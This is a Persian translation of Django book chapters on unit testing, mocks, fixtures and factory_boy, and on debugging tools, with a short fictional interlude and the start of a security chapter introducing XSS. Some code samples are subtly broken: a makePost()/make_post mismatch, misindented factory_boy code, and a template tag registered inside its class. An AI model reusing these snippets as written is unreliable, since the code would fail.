واحدهای تست پیچیده یا مبهم اجتناب کنید.\n\nعلاوه بر این، مطمئن شوید که تست شما خودکار است. هر مرحله غیر خودکار را حذف کنید، هرچقدر که کم یا کوچک باشد. فرآیند تست اتوماتیک، مانند یک جریان کار در تیم شما و ابزاری برای استفاده هدفمند است.\n\nشاید مهم‌تر از این، نبایدهایی است که موقع نوشتن واحد تست، باید در نظر گرفته شوند:\n\n- **فریمورک را تست نکنید**: جنگو به خوبی تست شده است. جستجوی URL، رندر شدن تمپلیت و یا هر عملکرد دیگر مرتبط با فریمورک را تست نکنید.\n- **جزییات پیاده‌سازی را تست نکنید**: رابط (interface) را تست کنید و جزییات کوچک پیاده‌سازی را رها کنید. این کار باعث خواهد شد که در آینده بدون شکست خوردن آزمون‌ها بتوانید کد را بازنگری کنید.\n- **بیشتر مدل‌ها، کمتر تمپلیت‌ها**: بیشتر از همه مدل‌ها را تست کنید و کمتر از همه تمپلیت‌ها را. تمپلیت‌ها باید کمترین میزان منطق کسب و کار را داشته باشند و بیشتر از بخش‌های دیگر، تغییر خواهند کرد.\n- **اجتناب از آزمودن خروجی HTML**: خروجی متغیرهای ویو را تست کنید، به جای آن که خروجی رندر شده HTML را بررسی کنید.\n- **اجتناب از آزمودن کلاینت وب در واحدهای تست**: کلاینت‌های وب، کامپوننت‌‌های مختلفی را فراخوانی می‌کنند بنابراین بهتر است در تست‌های یکپارچه‌سازی (integrating tests) استفاده شوند.\n- **پرهیز از تعامل با سیستم‌های بیرونی**: تا حد امکان آن‌ها را کنار بگذارید. دیتابیس یک استثنا است چرا که دیتابیس تست، درون حافظه و بسیار سریع است.\n\nالبته که شما می‌توانید (و شاید بهتر است که)، هر جا که دلیل خوبی دارید (مانند کاری که در مثال اول انجام دادیم)، قوانین را زیر پا بگذارید. درنهایت هر چه در نوشتن تست خلاق‌تر باشید، زودتر می‌توانید خطاها را پیدا کنید و اپلیکیشن بهتری خواهید داشت. \n\n## تقلید کردن\n\nپروژه‌های واقعی، وابستگی‌های زیادی بین بخش‌های مختلف دارند. وقتی که یک بخش تست می‌شود ممکن است نتیجه تست، از رفتار بقیه بخش‌های وابسته تأثیری نگیرد. برای مثال ممکن است برنامه شما یک وب سرویس بیرونی را فراخوانی کند که قابل اعتماد نیست یا سرعت پاسخ‌دهی مناسبی ندارد.\n\nآبژکت‌های مقلد، چنین وابستگی‌هایی را با همان رابط کاربری اما به کمک پاسخ‌های بسته‌بندی شده و سریع، تقلید می‌کنند. پس از استفاده از یک آبژکت مقلد، می‌توانید ارزیابی کنید که آیا یک متد مشخص فراخوانی شد و آیا تعامل مورد نظر انجام شد یا نه.\n\nمثال تست «واجد شرایط بودن پروفایل ابرقهرمان» را در *الگو: اشیاء سرویس* (مراجعه کنید به `بخش ۳`، *مدل‌ها*)، در نظر بگیرید. ما فراخوانی متد اشیاء سرویس را در یک تست، از کتابخانه `unittest.mock` پایتون ۳، تقلید کردیم:\n\n```python\n# profiles/tests.py\nfrom django.test import TestCase\nfrom unittest.mock import patch\nfrom django.contrib.auth.models import User\nclass TestSuperHeroCheck(TestCase):\n    def test_checks_superhero_service_obj(self):\n        with patch(\"profiles.models.SuperHeroWebAPI\") as ws:\n            ws.is_hero.return_value = True\n            u = User.objects.create_user(username=\"t\")\n            r = u.profile.is_superhero()\n        ws.is_hero.assert_called_with('t')\n        self.assertTrue(r)\n```\n\nدر اینجا ما از `patch()` که یک مدیریت‌کننده زمینه است در قالب یک عبارت with استفاده کرده‌ایم. در حالی‌که متد `is_superhero()` در مدل پروفایل، متدکلاس `SuperHeroWebAPI.is_hero()` (که کوئری به یک سرویس بیرونی می‌فرستد) را فراخوانی می‌کند، ما نیاز داریم که مدل‌های `ماژول` را در همین‌جا شبیه‌سازی کنیم. همچنین ما مقدار بازگشتی را به صورت هاردکد معادل `True` قرارداده‌ایم.\n\nدو ارزیابی آخر به ترتیب بررسی می‌کنند که متد با آرگومان‌های درست فراخوانی شده و نیز متد `is_hero()` مقدار `True` را برگردانده یا نه. با توجه به اینکه تمام متدهای کلاس `SuperHeroWebAPI` شبیه‌سازی شده‌اند، هر دو ارزیابی، تأیید خواهند شد.\n\nاشیا مقلد از خانوده‌ای به نام **test doubles** هستند که شامل stubها و fake ها و مانند آن است. مانند بدلکاران در فیلم‌های سینمایی که به جای شخصیت اصلی بازی می‌کنند، این بدل‌های تست، به جای آبژکت‌های اصلی در تست‌ها استفاده می‌شوند. هر چند که خط مشخصی بین آن‌ها وجود ندارد، اشیاء مقلد اشیایی هستند که رفتارها را تست می‌کنند و stubها، جانگهدار(placeholder) پیاده‌سازی‌ها هستند.\n\n## الگو – تست کردن با تجهیزات (fixture) و کارخانه‌ها (factory)\n\n**مشکل**: تست کردن یک بخش، نیازمند ساخت آبژکت‌های پیش‌نیاز زیادی است. ساخت آن‌ها در هر تست، کاری تکراری است.\n\n** راه حل**: از کارخانه‌ها و تجهیزات برای ساخت اشیاء مورد نیاز یک تست استفاده کنید.\n\n### جزییات مشکل\n\nقبل از اجرا هر تست، جنگو، دیتابیس تست را به مقدارهای اولیه بازمی‌گرداند، دقیقاً در وضعیتی که بعد از اجرای مهاجرت (migration) باید باشد. اکثر تست‌ها برای تنظیم وضعیت، نیاز به ساخت آبژکت‌هایی دارند. به جای ساخت آبژکت‌های اولیه مختلف برای هر سناریو، معمولاً یک گروه مشترک از آبژکت‌های اولیه ساخته می‌شود. \n\nدر یک پروژه بزرگ، این کار می‌تواند به سادگی از کنترل خارج شود. تنوع زیاد این اشیاء اولیه به سختی می‌تواند خوانده شود و قابل فهم باشد. این موضوع باعث ایجاد مشکلات در داده‌های خود آزمایش می‌شود.\n\nاز آنجایی که این مشکل بسیار رایج است، راه‌های زیادی برای کاهش شلوغی و نوشتن واحد تست واضح‌تر، وجود دارد.\n\n### جزییات راه حل\n\nاولین راه‌حلی که به آن نگاه خواهیم کرد، روشی است که در مستندات خود جنگو آمده است؛ تجهیزات تست (test fixtures). تجهیزات تست در اینجا یک فایل شامل مقادیری داده است که می‌تواند به دیتابیس وارد شده و دیتابیس شما را به وضعیت مطلوب برساند. به طور معمول این داده‌ها در فرمت YAML یا JSON هستند که قبلاً از همین دیتابیس استخراج شده‌اند.\n\nبرای مثال، واحد تست زیر را در نظر بگیرید که از یک ابزار تست استفاده می‌کند:\n\n```python\nfrom django.test import TestCase\nclass PostTestCase(TestCase):\n    fixtures = ['posts']\n    def setUp(self):\n        # Create additional common objects\n        pass\n    def test_some_post_functionality(self):\n        # By now fixtures and setUp() objects are loaded\n        pass\n```\nقبل از آن‌که `setUp()` در هر واحد تست فراخوانی شود، فیکسچر مشخص شده `'posts'`، فراخوانی می‌شود. به طور کلی، فیکسچرها در پوشه‌های مشخص شده با پسوندهای شناخته شده جستجو خواهند شد مثلاً `app/fixtures/posts.json`. \n\nبا‌این‌حال، فیکسچرها مشکلاتی دارند. فیکسچرها، یک اسنپ‌شات غیر پویا از دیتابیس هستند. آن‌ها به طرح‌واره دیتابیس وابسته هستند و هربار که مدل‌های شما تغییر می‌کند باید به‌روزرسانی شوند. همچنین ممکن است هربار که ارزیابی شما در واحد تست تغییر کند، نیازمند به‌روزرسانی باشند. به‌روزرسانی یک فایل فیکسچر به صورت غیراتوماتیک با آبژکت‌ها و روابط زیاد، اصلاً شوخی نیست.\n\nبه خاطر تمام این دلایل، بسیاری استفاده از فیکچرها را یک ضدالگو می‌دانند. توصیه می‌شود که به جای آن از کارخانه‌ها استفاده کنید. یک کلاس کارخانه، آبژکت‌هایی از یک کلاس مشخص را می‌سازد که می‌توانند در یک تست استفاده شوند. این روش یک روش DRY برای ساخت آبژکت‌های اولیه مورد نیاز تست‌ها، است. \n\nبیایید یک متد ساخت آبژکت در یک کلاس کارخانه ساده درست کنیم:\n\n```python\nfrom django.test import TestCase\nfrom .models import Post\nclass PostFactory:\n    def make_post(self):\n        return Post.objects.create(message=\"\")\nclass PostTestCase(TestCase):\n\n    def setUp(self):\n        self.blank_message = PostFactory().makePost()\n\n    def test_some_post_functionality(self):\n        pass\n```\n\nدرمقایسه با فیکسچرها، ساخت آبژکت اولیه و واحد تست، هر دو یک‌جا هستند. فیکسچر دیتای استاتیک را به همان شکلی که در دیتابیس هست و بدون صدازدن متدهای `save()` مخصوص به مدل، لود می‌کند. درحالیکه آبژکت‌های کارخانه‌ای به صورت دینامیک ساخته می‌شوند و از طریق ولیدیتورهای ساخته شده در مدل شما، اجرا می‌شوند.\n\nبا اینحال نوشتن چنین کلاس‌های کارخانه‌ای گرفتاری‌های زیادی دارد. پکیج `factory_boy` که بر اساس تفکر پکیج `factory_girl` ساخته شده، یک دستور نوشتن واضح برای ساخت آبژکت کارخانه‌ای دارد. \n\nوقتی شما کد قبلی را بازنویسی می‌کنید تا از `factory_boy` استفاده کنید، نتیجه زیر به دست می‌آید:\n\n```python\nimport factory\nfrom django.test import TestCase\nfrom .models import Post\n    class PostFactory(factory.Factory):\n        class Meta:\n            model = Post\n        message = \"\"\n\n    class PostTestCase(TestCase):\n\n        def setUp(self):\n            self.blank_message = PostFactory.create()\n            self.silly_message = PostFactory.create(message=\"silly\")\n\n        def test_post_title_was_set(self):\n            self.assertEqual(self.blank_message.message, \"\")\n            self.assertEqual(self.silly_message.message, \"silly\")\n```\n\nتوجه کنید که با این روش نوشتن توصیفی، کلاس `factory`  چقدر واضح‌تر شده است. لزومی ندارد که مقادیر هر صفت کلاس، به صورت استاتیک تعیین شوند. شما می‌توانید از مقادیر ترتیبی، تصادفی و یا محاسبه‌شده استفاده کنید. اگر می‌خواهید جانگه‌دارهای واقعی‌تری مانند فرمت آدرس‌های ایالات متحده داشته باشید، می‌توانید از پکیج `django-faker` استفاده کنید. \n\nدر پایان، من توصیه می‌کنم که از آبژکت‌های کارخانه‌ای مخصوصاً از `factory_boy`برای پروژه‌هایی که نیاز به ساخت آبژکت‌های اولیه دارند استفاده کنید. اما همچنان ممکن است بخواهید از فیکسچرها برای داده‌های استاتیک مانند لیست کشورها یا سایزهای تیشرت‌ها استفاده کنید چرا که این داده‌ها معمولاً به ندرت تغییر می‌کنند. \n\n## پیش‌بینی‌های وحشتناک\n\nپس از اعلام ضرب الاجل غیرممکن، انگار که همه تیم به طور ناگهانی دچار کمبود وقت شدند. آن‌ها از اسپرینت ۴ هفته‌ای اسکرام به اسپرینت ۱ هفته‌ای، رفتند. استیو تمام ملاقات‌های آن‌ها را به غیر از «ملاقات ۳۰ دقیقه‌ای امروز با استیو»، لغو کرد. او ترجیح می‌داد که اگر لازم بود با کسی صحبت کند، یک ملاقات یک به یک با هر نفر داشته باشد.\n\nبه اصرار خانم O ، جلسات ۳۰ دقیقه‌ای در یک سالن عایق صدا، ۲۰ طبقه پایین‌تر از دفتر مرکزی SHIM، برگزار شد. روز دوشنبه، همه تیم دور یک میز بزرگ دایره‌ای با روکش فلزی خاکستری، مانند بقیه اتاق،  ایستاده بودند. استیو به طرز ناخوشایندی، جلوی میز ایستاده بود و با کف دست، حرکتی موجی را نشان می‌داد.\n\nاگرچه قبلاً همه واقعی شدن هولوگرام‌ها را دیده بودند، باز هم هر بار، تیم را شگفت‌زده می‌کرد. این دیسک تقریباً خود را به صدها مربع فلزی کوچک تقسیم کرده بود و مانند آسمانخراش‌‌های مینیاتوری در یک شهر آینده‌نگر، در حال رشد بود. چند ثانیه برای آن‌ها طول کشید تا تشخیص دهند که به یک نمودار میله‌ای سه بعدی نگاه می‌کنند.\n\n«به نظر می‌رسد نمودار burn-down ما (نموداری که کارهای باقی‌مانده را نسبت به زمان نشان می‌دهد) نشانه‌هایی از کند شدن نشان می‌دهد. من فکر می‌کنم که این از نتایج تست‌های کاربری اخیر باشد. اما ...» در چهره‌ی استیو نشانه‌هایی از یک عطسه که جلوی آن گرفته شده، ظاهر شد. او مشتاقانه انگشت سبابه خود را در هوا به سمت بالا تکان داد و نمودار به آرامی به سمت راست گسترش پیدا کرد.\n\n«با این نسبت، پیش‌بینی‌ها نشان می‌دهد که ما زمان انتشار به صورت زنده را در بهترین حالت، احتمالاً با چند روز تاخیر از دست خواهیم داد. من مقداری آنالیز انجام دادم و باگ‌های مهم زیادی را در آخرین نسخه توسعه، پیدا کردم. اگر بتوانیم به موقع آن‌ها را پیدا کنیم، زمان و انرژی زیادی را صرفه‌جویی خواهیم کرد. من می‌خواهم که عقل‌ها را روی هم بگذارید و چند ... ».\n\nاستیو دهانش را بست و یک عطسه بلند کرد. هولوگراف این حرکت را نشانه‌ای برای زوم کردن روی یک بخش غیر جذاب از نمودار، تفسیر کرد. استیو زیرلب فحش داد و آن را خاموش کرد. دستمالی گرفت و با یک قلم معمولی شروع کرد به یادداشت برداشتن از پیشنهادها.\n\nیکی از پیشنهادهایی که استیو بیش از بقیه دوست داشت یک چک لیست کدنویسی بود که تمام باگ‌های رایج را مانند فراموش کردن مهاجرت دیتابیس، فهرست کند. او همچنین این ایده را هم دوست داشت که کاربران را برای دریافت بازخورد، زودتر وارد فرآیند توسعه کرد. همچنین برخی ایده‌های غیر معمول را نیز مانند یک ابزار مدیریتی توییتر، که وضعیت سرور یک‌پارچه‌سازی را توییت کند.\n\nدر پایان جلسه، استیو متوجه شد که اوان نیست. پرسید «اوان کجاست؟». برد که گیج شده بود گفت «ایده‌ای ندارم». چند دقیقه پیش اینجا بود.\n\nاجرا کننده پیش‌فرض‌ تست‌ها در جنگو، در طی سال‌ها توسعه بسیار زیادی پیدا کرده است. با اینحال، اجرا کننده‌های تست مانند `py.test`و `nose` از نظر عملکرد برتر هستند. آن‌ها تست شما را در نوشتن و اجرا، ساده‌تر می‌کنند. حتی از این هم بهتر، با تست‌های موجود شما هم سازگار هستند.\n\nممکن است علاقمند باشید بدانید که چند درصد از کد شما توسط تست‌ها پوشش داده شده است. به این کار **پوشش کد** یا **code coverage** گفته می‌شود و `coverage.py` یک ابزار بسیار شناحته شده برای بررسی آن است. \n\nاین روزها پروژه‌های بیشتری تمایل پیدا کرده‌اند که از کدهای جاوااسکریپت استفاده کنند. تست نوشتن برای آن‌ها معمولاً نیازمند یک محیط اجرایی مانند مرورگر است. سلنیوم (Selenium) یک ابزار اتوماسیون مروگر، برای انجام چنین تست‌هایی است.\n\nدر حالیکه بررسی جزییات تست‌ها در جنگو از محدوده تمرکز این کتاب خارج است، من قویاً توصیه می‌کنم که در مورد تست کردن بیشتر یاد بگیرید.\n\nاگر بخواهیم بقیه مسایل را کنار بگذاریم، دو نکته بسیار مهم در این بخش منتقل شد؛ یک اینکه تست بنویسید و دیگری اینکه اگر در نوشتن تست قوی شده‌اید کدنویسی به صورت TDD را تمرین کنید.\n\n## رفع اشکال\n\nبا وجود سخت‌ترین آزمون‌ها، حقیقت ناراحت‌کننده این است که ما هنوز هم باید با باگ‌ها سر و کله بزنیم. جنگو حداکثر تلاشش را می‌کند که در زمان گزارش خطا تا حد ممکن کمک‌کننده باشد. با اینحال، مهارت زیادی لازم است که علت ریشه‌ای مشکلات شناسایی شود. \n\nبا تشکر از ترکیب مناسب ابزارها و تکنیک‌ها، نه تنها می‌توانیم مشکلات را شناسایی کنیم، بلکه می‌توانیم شناخت خوبی از رفتار کد در هنگام اجرا به دست آوریم. بیایید نگاهی به برخی از این ابزارها بیندازیم.\n\n## صفحه حل مشکل جنگو\n\nاگر در هنگام توسعه، یعنی در زمانی که `DEBUG=True` است، به هر نوعی از استثنا برخورد کنید، احتمالاً صفحه خطایی مانند این خواهید دید:\n\n![debug image](1.jpg)\n\nصفحه معمول خطاها در جنگو وقتی که تنظیمات رفع مشکل روشن باشد\n\nاز آنجایی که این صفحه زیاد دیده می‌شود، بسیاری از توسعه‌دهندگان به اندازه کافی به اطلاعات بسیار ارزشمند این صفحه اهمیت نمی‌دهند. بخش‌هایی از این صفحه که ارزش نگاه کردن دارد:\n\n- **جزییات استثناء Exception details**: واضح است که شما باید به دقت بخوانید که این استثناء چه چیزی به شما می‌گوید.\n- **محل استثناء Exception location**: این محل جایی است که پایتون گمان می‌کند مشکل در آن‌جا اتفاق افتاده. در جنگو ممکن است مشکل در همین موقعیت باشد یا ریشه مشکل در جای دیگر باشد\n- **ردپا یا Traceback**: اینجا یک دسته‌‌ای از مشکلات را داریم که موقع پیش‌آمد خطا، ایجاد شده‌اند. خطی که باعث ایجاد خطا شده است آخرین خط است و خطاهای تودرتو که موجب بروز این مشکل شده‌اند در خط‌های بالاتر قرار دارند. فراموش نکنید که روی فلش‌های متغیرهای محلی (Local vars) کلیک کنید تا مقدار متغیرها را در زمان وقوع استثناء، ببینید.\n- **اطلاعات درخواست Request information**: این جدولی است که متغیرهای زمینه، اطلاعات اضافه و تنظیمات پروژه را در خود دارد. ورودی‌های ناقص در ریکوئست را در اینجا کنترل کنید.\n\n## یک صفحه عیب‌یاب بهتر\n\nاغلب ممکن است آرزو کرده باشید که تعامل بیشتری در صفحه پیش‌فرض خطا در جنگو وجود می‌داشت. پکیج `django-extensions` به همراه عیب‌یاب فوق‌العاده Werkzeug ارائه می‌شود که دقیقاً همین ویژگی را دارد. در تصویر بعد همان استثناء قبلی دیده می‌شود، به مفسر تعاملی پایتون در هر مرحله از دسته‌ی خطاها، توجه کنید:\n\n![new debug image](2.jpg)\n\nبرای فعال کردن این عیب‌یاب، `django_extensions` را به بخش `INSTALLED_APPS` اضافه کنید. لازم است که سرور تست خود را مانند زیر اجرا کنید:\n\n```python\n$ python manage.py runserver_plus\n```\n\nعلیرغم کاهش داده‌های عیب‌یابی، به نظر من عیب‌یاب Werkzeug، بسیار مفیدتر از صفحه گزارش خطا پیش‌فرض است.\n\n## فانکشن پرینت\n\nپاشیدن تابع `print()` در سراسر کد و برای عیب‌یابی ممکن است ابتدایی به نظر برسد، ولی تکنیک منتخب بسیاری از برنامه‌نویسان است.\n\nمعمولاً تابع `print()` قبل از خطی که استثاء به جود آمده اضافه می‌شود. این تابع برای نشان دادن مقدار متغیرها در خطوط منتهی به استثناء استفاده کرد. می‌توانید با چاپ کردن داده‌ها مسیر اجرا را تا رسیدن به یک خط مشخص، دنبال کنید.\n\nدر فرآیند توسعه، خروجی چاپ شده معمولاً در پنچره کنسولی که سرور توسعه در آن در حال اجرا است،‌دیده می‌شود در حالیکه در تولید نهایی، احتمالاً در فایل لاگ سرور شما ذخیره خواهد شد که البته سرباری هم برای سرور ایجاد خواهد کرد. \n\nدر هر حال این روش خوبی برای استفاده در هنگام تولید نهایی نیست. حتی اگر از آن استفاده می‌کنید باید قبل از کامیت کد به مخزن کنترل نسخه‌ها، آن‌ها را از داخل کد حذف کنید.\n\n## لاگ کردن\n\nدلیل در نظر گرفتن بخش قبل آن بود که بگوییم شما باید توابع `print()` را با صدا زدن تابع لاگ کردن در ماژول `logging` پایتون، جابجا کنید. لاگ کردن مزیت‌های زیادی به نسبت پرینت دارد: یک برچسب زمان دارد، سطح فوریت در آن مشخص شده (برای مثال INFO و DEBUG) و در ضمن لازم نیست آن‌ها را بعداً از درون کد حذف کنید.\n\nلاگ کردن برای توسعه حرفه‌ای، بسیاری حیاتی است. اپلیکیشن‌های زیادی در بخش تولید، مانند دیتابیس‌ها و وب سرورها، از لاگ کردن استفاده می‌کنند. فرآیند عیب‌یابی ممکن است شما را به سراغ همه این لاگ‌ها بفرستد تا بتوانید رد پای مشکل را پیدا کنید. بهتر است که برنامه شما بهترین روش را استفاده کند و لاگ کردن را برای خطاها (errors)، هشدارها (warnings) و پیغام‌های اطلاع‌رسانی (informational messages) استفاده کند.\n\nبرخلاف تصور رایج، استفاده از لاگر نیازمند کار زیادی نیست. البته احتیاج به تنظیم اولیه دارد اما برای کل پروژه فقط یک‌بار انجام می‌شود. اضافه براین بسیاری از تمپلیت‌ها (برای مثال تمپلیت `edge`) این کار را برای شما انجام داده‌اند.\n\nهنگامی که متفیر `LOGGING` را در فایل `settings.py`، تنظیم کردید، همانطور که در اینجا نشان داده شده، اضافه کردن یک لاگر به کد بسیار ساده است:\n\n```python\n# views.py\nimport logging\nlogger = logging.getLogger(__name__)\ndef complicated_view():\n    logger.debug(\"Entered the complicated_view()!\")\n```\n\nماژول `logging` مراحل مختلفی از پیغام‌های لاگ را ارائه می‌کند در نتیجه شما می‌توانید به سادگی پیام‌های کم اهمیت را فیلتر کنید. خروجی نیز می‌تواند در شکل‌های مختلفی قالب‌بندی شود یا به جاهای مختلفی مانند خروجی استاندارد یا فایل‌ها، فرستاده شود. برای آشنایی بیشتر، مستندات ماژول `logging` پایتون را بخوانید.\n\n## پکیج Django Debug Toolbar\n\nپکیج Django Debug Toolbar یک ابزار ضروری نه تنها برای عیب‌یابی، بلکه برای ردگیری اطلاعات جزیی درباره هر درخواست و پاسخ است. به جای آنکه فقط در هنگام خطا دیده شود، نوار ابزار آن همیشه در صفحه رندر شده شما حضور دارد. \n\nدر ابتدا مانند یک کلید گرافیکی در سمت راست صفحه مرورگر دیده می‌شود. بعد از آنکه آن را کلیک کنید یک نوار ابزار نیمه شفاف با بخش‌های زیادی ظاهر می‌شود:\n\n![header image](3.jpg)\n\nنوار ابزار بازشده Django Debug Toolbar\n\nهر بخش با اطلاعات جزیی درباره صفحه، مانند تعداد SQLهای اجرا شده یا تمپلیتی که برای رندر صفحه استفاده شده، پر شده است. از آنجایی که وقتی مقدار متغیر `DEBUG` در تنظیمات False باشد این پنجره دیده نخواهد شد، Django Debug Toolbar یک ابزار اختصاصی برای مرحله توسعه است.\n\n## عیب‌یاب پایتونی pdb\n\nدر هنگام عیب‌یابی، ممکن است نیاز داشته باشید که یک اپلیکیشن جنگو در میانه اجرا متوقف کنید تا وضعیت آن را بررسی کنید. یک راه حل ساده آن است که یک استثنا با مقدار `assert False` در محل مورد نظر اضافه کنید. \n\nحالا اگر بخواهید اجرای برنامه را مرحله به مرحله از همان خط ادامه دهید، چه باید کرد؟ این کار با استفاده از عیب‌یاب‌های تعاملی مانند عیب‌یاب `pdb` پایتون امکان‌پذیر است. به سادگی با اضافه کردن این خط در هرجایی که می‌خواهید برنامه متوقف شود و به `pdb` منتقل شود، انجام پذیر است:\n\n```python\nimport pdb; pdb.set_trace()\n```\n\nهنگامی که `pdb` را وارد می‌کنید، یک خط فرمان با نشانه (`Pdb`) در کنسول شما ظاهر می‌شود. در همان زمان مرورگر شما چیزی را نشان نخواهد داد،‌ برای آنکه ریکوئست هنوز به طور کامل پردازش نشده است.\n\nخط فرمان `pdb` بسیار قدرتمند است. این خط فرمان به شما اجازه می‌دهد که در میان کد، خط به خط جلو بروید و متغیرها را چاپ کنید یا آن‌ها را تغییر دهید و در نتیجه وضعیت اجرا را تحت تأثیر قرار دهید. این صفحه تعاملی بسیار شبیه به عیب‌یاب GNU، یعنی GDB است. \n\n## سایر عیب‌یاب‌ها\n\nعیب‌یاب‌های بسیار دیگری نیز می‌توانند جایگزین `pdb` شوند. معمولاً این عیب‌یاب‌ها صفحه ارتباطی بهتری دارند. موارد زیر، تعدادی از عیب‌یاب‌های مبتنی بر کنسول هستند:\n\n- پکیج `ipdb`: شبیه به IPython دارای تکمیل خودکار، رنگ‌بندی تکه‌های کد و مانند آن است.\n- پکیج `pudb`: شبیه به IDEهای قدیمی توربو C، کدها و مقادیر را در کنار هم نشان می‌دهد.\n- پکیج `IPython`: این پکیج، یک عیب‌یاب نیست. شما می‌توانید یک شل `IPython` کامل را در هرجای کد به کمک اضافه کردن `from IPythonimport embed; embed()`، اجرا کنید.\n\nپکیج منتخب من برای جایگزینی با `pdb`، پکیج `pudb` است. چنان ساده است که حتی مبتدی‌ها هم به سادگی می‌توانند با آن کار کنند. فقط کافی است شبیه به `pdb`، دستور زیر را اضافه کنید تا اجرا متوقف شود:\n\n```python\nimport pudb; pudb.set_trace()\n```\n\nوقتی که این خط اجرا می‌شود یک عیب‌یاب تمام صفحه مانند زیر، ظاهر می‌شود:\n\n![pudb image](4.jpg)\n\nکلید ? را فشار دهید تا راهنمای کاملی در مورد همه کلیدها و دستورات ببینید.\n\nعلاوه براین، عیب‌یاب‌های گرافیکی بسیار زیاد و مستقلی هم وجود دارند مانند `winpdb`، که درون IDE هایی مانند PyCharm، PyDev و Komodo، جایگذاری شده‌اند. پیشنهاد می‌کنم چندتایی از آن‌ها را امتحان کنید تا نمونه‌ای را که بیش از همه با فرآيند کار شما هماهنگ است، پیدا کنید. \n\n## عیب‌یابی در تمپلیت‌های جنگو\n\nپروژه‌ها ممکن است منطق بسیار پیچیده‌ای در تمپلیت‌های خود داشته باشند. اشتباهات ظریف در هنگام ساخت یک تمپلیت، ممکن است به باگ‌هایی منجر شود که پیداکردنشان ساده نیست. ما باید `TEMPLATE_DEBUG` را (علاوه بر `DEBUG`)‌ در فایل `settings.py`، مساوی مقدار `True` قرار دهیم تا چنانچه خطایی در تمپلیت وجود داشت، جنگو گزارش خطای بهتری را نشان دهد.\n\nچندین روش خام برای عیب‌یابی تمپلیت‌ها وجود دارد مانند اضافه کردن متغیرها مانند {{ `variable` }}، اما اگر می‌خواهید همه متغیرها را نشان دهید از تگ پیش‌ساخته `debug` (درون یک محیط نوشتاری قابل کلیک)، به صورت زیر استفاده کنید:\n\n```HTML\n<textarea onclick=\"this.focus();this.select()\" style=\"width: 100%;\">\n    {% filter force_escape %}\n        {% debug %}\n    {% endfilter %}\n</textarea>\n```\n\nیک گزینه بهتر استفاده از  Django Debug Toolbar است که قبل‌تر به آن اشاره شد. نه تنها متغیرهای زمینه را نشان می‌دهد بلکه درخت وراثت تمپلیت‌های شما را هم نشان می‌دهد. \n\nبا اینحال، ممکن است بخواهید در میانه تمپلیت (مثلاً درون یک حلقه) توقفی ایجاد کنید و وضعیت تمپلیت را بررسی کنید. یک عیب‌یاب می‌تواند در این موقعیت، کمک خوبی باشد. در حقیقت، می‌توانید با استفاده از تگ‌های اختصاصی تمپلیت، از هرکدام از عیب‌یاب‌های معرفی شده پایتونی، در تمپلیت خود استفاده کنید.\n\nمثال زیر، یک پیاده‌سازی ساده از چنین تگ‌های تمپلیت اختصاصی است. فایل زیر را در دایرکتوری `templatetag`، درون یک پکیج بسازید:\n\n```python\n# templatetags/debug.py\nimport pudb as dbg\n# Change to any *db\nfrom django.template import Library, Node\nregister = Library()\n\nclass PdbNode(Node):\n    \n    def render(self, context):\n        dbg.set_trace()\n        return ''\n        # Debugger will stop here\n\n    @register.tag\n    def pdb(parser, token):\n        return PdbNode()\n```\n\nدر تمپلیت خود، کتابخانه تگ‌های تمپلیت را فراخوانی کنید و تگ `pdb` را هر جا که لازم است اجرای برنامه متوقف شود، بگذارید و وارد عیب‌یاب شوید:\n\n```jinja\n{% load debug %}\n{% for item in items %}\n    {# Some place you want to break #}\n    {% pdb %}\n{% endfor %}\n```\n\nدرون عیب‌یاب، شما می‌توانید همه چیز را کنترل کنید. مثلاً برای دیدن متغیرهای زمینه از دیکشنری `context` مانند زیر، استفاده کنید:\n\n```python\n>>> print(context[\"item\"])\nItem0\n```\n\nاگر به تگ‌های تمپلیت‌ بیشتری برای عیب‌یابی و بررسی کد، احتیاج داشتید پیشنهاد می‌کنم پیکج `django-template-debug` را بررسی کنید.\n\n## خلاصه\n\nدر این بخش، به انگیزه‌ها و کانسپت‌‌های درون تست‌نویسی در جنگو نگاه کردیم. همچنین بهترین روش‌ها برای نوشتن یک واحد تست را پیدا کردیم. در بخش عیب‌یابی، با ابزارها و روش‌های عیب‌یابی مختلف برای پیدا کردن باگ‌ها در کدهای جنگو و تمپلیت‌ها آشنا شدیم.\n\nدر بخش بعد، یک قدم به فرآیند تولید نهایی کد و فهم مشکلات امنیتی و کاهش خطرات و تهدیدها بر اثر حمله‌های مختلف، آشنا خواهیم شد.\n"
  },
  {
    "path": "12-Security/README.md",
    "content": "# امنیت\nدر این فصل ما در باره موضوعات زیر بحث میکنیم:\n\n- انواع حملات وب و اقدامات متقابل\n- کجا جنگو میتواند و کجا نمیتواند کمک کند\n- بررسی های امنیتی برای برنامه های جنگو\n\nگزارشات صنعتی متعددی نشان میدهد که وبسایت ها و برنامه های کاربردی یکی از اولین اهداف حملات سایبری هستند\nبا این حال، حدود 86 درصد از تمام وب‌سایت‌ها که توسط یک شرکت امنیتی پیشرو در سال 2013 آزمایش شدند، حداقل یک آسیب‌پذیری جدی داشتند.\n\n(dos) انتشار برنامه مملو از خطرات متعددی است از افشای اطلاعات محرمانه تا حمله محروم سازی از سرویس\nرسانه های جریان اصلی، نقص های امنیتی را با تمرکز بر سوء استفاده ها،\nمانند Heartbleed، Cloudbleed، Superfish و POODLE عنوان می کنند،\n، که تأثیر نامطلوبی بر برنامه های کاربردی وب سایت مهم، مانند ایمیل و بانکداری دارند.\nاغلب از خود می پرسند که آیا www اکنون به معنای وب جهانی است یا غرب وحشی وحشی.\n\nیکی از بزرگترین نقاط فروش جنگو تمرکز قوی آن بر امنیت است.\nدر این فصل، تکنیک‌های برتری را که مهاجمان استفاده می‌کنند، پوشش خواهیم داد.\nهمانطور که به زودی در این فصل خواهیم دید، جنگو می تواند از شما در برابر اکثر آنها محافظت کند.\n\nمن معتقدم که برای محافظت از سایت خود در برابر مهاجمان، باید مانند یک مهاجم فکر کنید.\nبنابراین، بیایید خود را با حملات رایج آشنا کنیم.\n\n### Cross-site scripting\n\n**Cross-site scripting (XSS)**, امروزه رایج ترین نقص امنیتی برنامه های وب در نظر گرفته می شود\nو مهاجم را قادر می سازد تا اسکریپت های مخرب خود (معمولاً جاوا اسکریپت) را در صفحات وب مشاهده شده توسط کاربران اجرا کند.\nبه طور معمول، سرور فریب داده می شود تا محتوای مخرب خود را همراه با محتوای قابل اعتماد ارائه دهد.\n\nچگونه یک کد مخرب به سرور می رسد؟ وسیله رایج ورود\nورود اطلاعات خارجی به سرور به شرح زیر است:\n\n- از فیلد ها\n- URLs\n- Redirects\n  -Alnaytics اسکریپت های خارجی مثل تبلیغات 